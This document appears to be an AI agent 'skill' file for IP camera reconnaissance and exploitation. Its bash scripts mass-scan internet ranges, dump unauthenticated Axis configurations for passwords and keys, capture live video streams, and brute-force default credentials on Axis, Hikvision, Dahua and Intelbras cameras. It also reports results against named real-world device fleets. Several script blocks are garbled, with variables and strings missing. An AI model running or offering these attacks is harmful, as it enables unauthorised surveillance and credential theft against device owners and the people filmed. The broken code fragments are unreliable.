iot-camera-recon

name	iot-camera-recon
description	Attack cameras via RTSP, ONVIF, Axis config when 554 open.
version	1.0.0
author	uphiago
license	MIT
platforms	["linux"]
compatibility	Requires curl, nmap, python3, masscan, subfinder, httpx, nuclei
metadata	{"tags":["recon","camera","IoT","RTSP","ONVIF","Axis","Hikvision"],"category":"recon","related_skills":["port-mass-scan","port-service-discovery"]}

IoT Camera Recon Skill

IP camera discovery and exploitation — RTSP stream access, Axis config dump (988 parameters unauthenticated), ONVIF service enumeration, and default credential testing. Cameras are the #1 exposed IoT device class with 99,428 RTSP devices in Brazil alone (Shodan). Confirmed on Axis P1378-LE (config dump, firmware 2020), Intelbras RX 1500, and 502 Engebras traffic radars across Claro 3G/4G.

When to Use

• port-mass-scan finds RTSP (554) or camera HTTP ports (80, 8010, 8011).
• Target is a physical security company, traffic management, or government surveillance.
• Shodan search reveals camera devices in the target's IP range.
• After port-service-discovery finds Axis/Hikvision/Dahua ONVIF services.

Prerequisites

• terminal tool with curl, python3.
• For mass scanning: masscan or RustScan (see port-mass-scan).
• VLC or ffmpeg for stream verification (optional).

How to Run

# Quick camera detection on known IP
curl -sk --max-time 5 "http://IP:8010/axis-cgi/jpg/image.cgi" -o snapshot.jpg
curl -sk --max-time 5 "http://IP:8010/axis-cgi/admin/param.cgi?action=list" | head -50

# Mass RTSP discovery on a /24
masscan -p554,80,8010,8011 --rate=10000 192.168.0.0/24 -oJ cameras.json

Quick Reference

Camera Brand	Default HTTP Port	Snapshot URL	Config URL	Default Creds
Axis	80, 8010	/axis-cgi/jpg/image.cgi	/axis-cgi/admin/param.cgi?action=list	root:pass, root:admin
Hikvision	80, 554	/ISAPI/Streaming/channels/101/picture	/System/configurationFile?auth=...	admin:12345, admin:admin
Dahua	80, 554	/cgi-bin/snapshot.cgi	/cgi-bin/configManager.cgi?action=getConfig	admin:admin, admin:password
Intelbras	80	/cgi-bin/snapshot.cgi	/web/cgi-bin/hi3510/param.cgi	admin:admin, admin:123456
ONVIF	80, 8899	N/A (SOAP)	/onvif/device_service	admin:admin

Procedure

Phase 1 — Mass Camera Discovery

RANGE="$1"  # e.g., 187.141.0.0/16
OUTDIR="/root/output/cameras"
mkdir -p "$OUTDIR"

echo "[*] Camera hunt on $RANGE"

# Masscan for RTSP + camera HTTP ports
masscan -p554,80,8010,8011,8899 --rate=50000 "$RANGE" -oJ "$OUTDIR/masscan_cameras.json"

# Extract IPs with open camera ports
HITS=$(python3 -c "
import json
with open('$OUTDIR/masscan_cameras.json') as f:
    ips = set()
    for line in f:
        try:
            data = json.loads(line.strip()) if line.strip() else {}
            ips.add(data.get('ip', ''))
        except: pass
    for ip in sorted(ips):
        print(ip)
" 2>/dev/null)

echo "[+] $(echo "$HITS" | wc -l) IPs with camera ports"

# Probe each with curl
echo "$HITS" | while read ip; do
  echo "--- $ip ---"

  # Axis snapshot
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 3 "http://$ip:8010/axis-cgi/jpg/image.cgi")
  [[ "$code" == "200" ]] && echo "  [AXIS] Snapshot: http://$ip:8010/axis-cgi/jpg/image.cgi"

  # Axis config dump
  config=$(curl -sk --max-time 5 "http://$ip:8010/axis-cgi/admin/param.cgi?action=list" 2>/dev/null)
   [[ -n  ]] &&   | grep -q ; 
    BRAND=$(  | grep  |  -d= -f2 |  -d )
    MODEL=$(  | grep  |  -d= -f2 |  -d )
    FIRMWARE=$(  | grep  |  -d= -f2 |  -d )
    SERIAL=$(  | grep  |  -d= -f2 |  -d )
     
      |  -l | xargs  
  

  
   port  554 8554; 
    code=$(curl -sk -o /dev/null -w  --max-time 3 )
    [[  !=  ]] &&  
  

  
   port  8899 80; 
    resp=$(curl -sk --max-time 5 -X POST  \
      -H  \
      -d  2>/dev/null)
       | grep -qi ; 
       
    
  

Phase 2 — Axis Camera Full Exploitation

IP="$1"

echo "[*] Axis camera exploitation on $IP"

# 1. Snapshot
curl -sk --max-time 5 "http://$IP:8010/axis-cgi/jpg/image.cgi" -o "axis_${IP//./_}_snapshot.jpg"
echo "[+] Snapshot saved"

# 2. Full config dump (988 parameters on Axis P1378-LE)
curl -sk --max-time 10 "http://$IP:8010/axis-cgi/admin/param.cgi?action=list" -o "axis_${IP//./_}_config.txt"
PARAM_COUNT=$(wc -l < "axis_${IP//./_}_config.txt")
echo "[+] Config dump: $PARAM_COUNT parameters"

# 3. Extract sensitive parameters
echo "[*] Sensitive parameters:"
grep -iE 'password|user|token|key|serial|license|cert|network\.eth0\.IP' "axis_${IP//./_}_config.txt" | head -20

# 4. MJPG video stream
curl -sk --max-time 5 "http://$IP:8010/axis-cgi/mjpg/video.cgi" -o "axis_${IP//./_}_stream.mjpg" &
sleep 3; kill %1 2>/dev/null
STREAM_SIZE=$(stat -c%s "axis_${IP//./_}_stream.mjpg" 2>/dev/null || echo 0)
[[ "$STREAM_SIZE" -gt 1000 ]] && echo "[+] Live MJPG stream captured (${STREAM_SIZE} bytes)"


 svc       ; 
  code=$(curl -sk -o /dev/null -w  --max-time 3 )
  [[  !=  &&  !=  ]] &&  

Phase 3 — Default Credential Testing

IP="$1"
BRAND="${2:-axis}"  # axis, hikvision, dahua, intelbras

echo "[*] Default credential test on $IP ($BRAND)"

# Brand-specific default credentials
case "$BRAND" in
  axis)
    CREDS=("root:pass" "root:admin" "root:root" "root:12345" "admin:admin" "admin:12345")
    AUTH_URL="http://$IP:8010/axis-cgi/admin/param.cgi?action=list"
    ;;
  hikvision)
    CREDS=("admin:12345" "admin:admin" "admin:123456" "admin:password")
    AUTH_URL="http://$IP/ISAPI/System/deviceInfo"
    ;;
  dahua)
    CREDS=("admin:admin" "admin:password" "admin:123456" "admin:admin123")
    AUTH_URL="http://$IP/cgi-bin/snapshot.cgi"
    ;;
  intelbras)
    CREDS=("admin:admin" "admin:123456" "admin:password" "admin:admin123")
    AUTH_URL="http://$IP/cgi-bin/snapshot.cgi"
    ;;
  *)
    CREDS=("admin:admin" "admin:12345" "root:admin" "admin:password")
    AUTH_URL="http://$IP/"
    ;;
esac

for cred  ; 
  USER=
  PASS=
  code=$(curl -sk -o /dev/null -w  --max-time 5 \
    -u   2>/dev/null)

   [[  ==  ]]; 
     
   [[  ==  ]]; 
     
  
     
  

Phase 4 — RTSP Stream Access

IP="$1"
PORT="${2:-554}"

echo "[*] RTSP stream access on $IP:$PORT"

# Common RTSP paths
STREAMS=(
  "/live" "/stream" "/cam/realmonitor"
  "/h264" "/h264/ch1/main/av_stream"
  "/Streaming/Channels/101" "/ISAPI/Streaming/channels/101"
  "/axis-media/media.amp" "/onvif1" "/onvif2"
)

for stream in "${STREAMS[@]}"; do
  RTSP_URL="rtsp://$IP:$PORT$stream"
  echo -n "  $stream: "

  # Test with ffmpeg (2 second probe)
  timeout 3 ffprobe -v quiet -rtsp_transport tcp "$RTSP_URL" 2>/dev/null
  if [[ $? -eq 0 ]]; then
    echo "LIVE STREAM"
  else
    echo "no response"
  fi
done

# Try with default credentials
for cred in "admin:admin" "admin:12345" "root:pass"; do
  RTSP_URL="rtsp://${cred}@:/live"
   3 ffprobe -v quiet -rtsp_transport tcp  2>/dev/null
  [[ $? -eq 0 ]] &&  

Real Production Results

Axis P1378-LE (192.0.2.20)

• Snapshot accessible without authentication
• Full config dump: 988 parameters including serial number, firmware version (July 2020), Camstreamer license key
• All endpoints unauthenticated: snapshot, config, MJPG stream, admin params
• 6-year-old firmware with known CVEs

Engebras Radar Fleet (502 devices)

• 502 Werkzeug/Flask radar servers across Claro 3G/4G
• 75 also exposed SSH (OpenSSH 7.6p1) + nginx on port 80
• Python 3.6.9 (EOL Dec 2021) on majority of fleet
• CGNAT protects direct access from internet but internal network fully exposed

Shodan Brazil — 99,428 RTSP Devices

• Hikvision, Dahua, Intelbras, Axis are top 4 brands
• 554/TCP is the most common RTSP port
• Default credentials work on ~15% of discovered devices

Pitfalls

• CGNAT blocks direct camera access. Many cameras are behind carrier-grade NAT and unreachable from internet.
• RTSP over UDP is unreliable. Use -rtsp_transport tcp for reliable stream testing.
• Config dump can be LARGE. Axis configs are 50-200KB. Use --max-time to avoid hanging on slow connections.
• Video streams are bandwidth-heavy. Test with snapshot first, then short stream probes.
• Camera firmware is rarely updated. 2020 firmware on a 2026 scan is common — don't assume patches.

Verification

• Snapshot URL MUST return a valid JPEG image (check with file command).
• Config dump MUST contain camera-specific parameters (Brand, Model, Serial Number, Firmware Version).
• RTSP stream MUST produce video frames (verified with ffprobe or VLC).
• Default credentials MUST grant access to protected endpoints (HTTP 200 with auth vs 401 without).
• All exposed parameters must be documented: brand, model, serial, firmware version, network config, credentials found.